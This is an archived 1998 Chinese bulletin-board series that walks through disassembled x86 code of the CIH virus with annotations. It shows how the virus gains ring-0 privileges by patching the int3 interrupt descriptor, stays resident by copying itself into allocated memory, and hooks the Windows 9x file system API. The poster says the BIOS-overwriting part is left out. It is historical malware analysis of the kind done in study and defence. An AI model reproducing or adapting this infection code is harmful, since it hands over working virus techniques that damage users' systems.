发信人: crazydiamond()
整理人: emil(1999-08-16 19:33:56), 站内信件
|
呵呵,眼看CIH成了大热门,俺也来凑凑热闹.有时间的话,我会分几次 把CIH的主要代码Post出来.请高手多多指教. 当然,危险代码比如写bios的就不贴了. (一)从ring3 to ring0
:00000000 push ebp :00000001 lea eax, dword ptr [esp-08] :00000005 xor ebx, ebx :00000007 xchg dword ptr fs:[ebx], eax :0000000A call 0000000F :0000000F pop ebx :00000010 lea ecx, dword ptr [ebx+42] :00000013 push ecx :00000014 push eax :00000015 push eax :00000016 sidt [esp-02] ;得到中断描述符表 ;8字节 :0000001B pop ebx :0000001C add ebx, 0000001C ;中断3的描述符 :0000001F cli :00000020 mov ebp, dword ptr [ebx] :00000022 mov bp, word ptr [ebx-04] :00000026 lea esi, dword ptr [ecx+12] :00000029 push esi :0000002A mov word ptr [ebx-04], si :0000002E shr esi, 10 :00000031 mov word ptr [ebx+02], si ;修改,使指向程序中 :00000035 pop esi :00000036 int 03 ;int03后,系统由Ring3转到Ring0状态,由于int3 ;代码在病毒内,故实际已取得系统级权利。
--待续--
-- ............
※ 来源:.广州网易 BBS bbs.nease.net.[FROM: ppp432.hz.zj.cn] 发信人: crazydiamond (心灵游戏), 信区: Virus 标 题: CIH解析(二)--驻留 发信站: 广州网易 BBS (Sun Oct 25 01:38:35 1998), 转信
接上回: :00000036 int 03 ;跳到 00000063 处 ....... :00000063 je 00000097 ;判断是否第二次调用? 是则跳转 :00000065 mov ecx,dr0 :00000068 jecxz 0000007A ;驻留判断, 若dr0零则继续 :0000006A add dword ptr [esp], 00000015 :0000006E mov word ptr [ebx-04], bp :00000072 shr ebp, 10 :00000075 mov word ptr [ebx+02], bp ;恢复原来的Int3 返回 :00000079 iret
:0000007A mov dr0,ebx :0000007D push 0000000F :0000007F push ecx :00000080 push FFFFFFFF :00000082 push ecx :00000083 push ecx :00000084 push ecx :00000085 push 00000001 :00000087 push 00000002 :00000089 vxdcall _PageAllocate :0000008F add esp, 20 :00000091 xchg eax,edi ;edi 指向分配的页地址 :00000093 lea eax,[esi-63] :00000096 iret ;返回00000037 ....... :00000037 push esi ;eax 指向病毒代码开始处 : 00000000 :00000038 mov esi, eax :0000003A mov ecx, dword ptr [eax-04] :0000003D repz :0000003E movsb :0000003F sub eax, 00000008 :00000042 mov esi, dword ptr [eax] :00000044 or esi, esi :00000046 je 0000004A :00000048 jmp 0000003A ;病毒体将自身从宿主程序里抽出,复制到分配的内存页,完成驻留 ;病毒体信息是按 ;partN起始,partN长度,......,part1起始,part1长度 ;从病毒代码起始(即00000000)向前排列的,各占1字长 :0000004A ......
-- ............
※ 来源:.广州网易 BBS bbs.nease.net.[FROM: 202.96.101.254] 发信人: crazydiamond (心灵游戏), 信区: Virus 标 题: CIH解析(三)--Hook 发信站: 广州网易 BBS (Sun Oct 25 01:43:36 1998), 转信
接上回: :0000004A pop esi :0000004B int 03 ;第二次进入ring0,截获IFS_APIHOOK ......
:00000063 je 00000097 ;判断是否第二次调用? 是则跳转 ...... :00000097 lea eax, dword ptr [edi+FFFFFCF7] :0000009D push eax :0000009E vxdcall IFSMgr_InstallFileSystemApiHook ;加入IFS_ApiHook 指向000000e2
:000000A4 mov dr0,eax ;保存旧的ApiHook :000000A7 pop eax :000000A8 mov ecx, dword ptr [esi+3D] :000000AB mov edx, dword ptr [ecx] :000000AD mov dword ptr [eax-04], edx :000000B0 lea eax, dword ptr [eax-2A] :000000B3 mov dword ptr [ecx], eax ;修改IFSMgr_InstallFileSystemApiHook函数入口指向000000b8 :000000B5 cli :000000B6 jmp 0000006E ......
:0000006E mov word ptr [ebx-04], bp :00000072 shr ebp, 10 :00000075 mov word ptr [ebx+02], bp ;恢复原来的Int3 返回0000004c :00000079 iret ......
:0000004C sti :0000004D xor ebx, ebx :0000004F jmp 00000058 :00000051 xor ebx, ebx :00000053 mov eax, dword ptr fs:[ebx] :00000056 mov esp, dword ptr [eax] :00000058 pop dword ptr fs:[ebx] :0000005B pop eax :0000005C pop ebp :0000005D push 01002210 ;宿主程序原起始地址,因被感染程序而异 :00000062 ret ;返回控制
自此,病毒接管系统。
-- ............
※ 来源:.广州网易 BBS bbs.nease.net.[FROM: 202.96.101.254]
|
|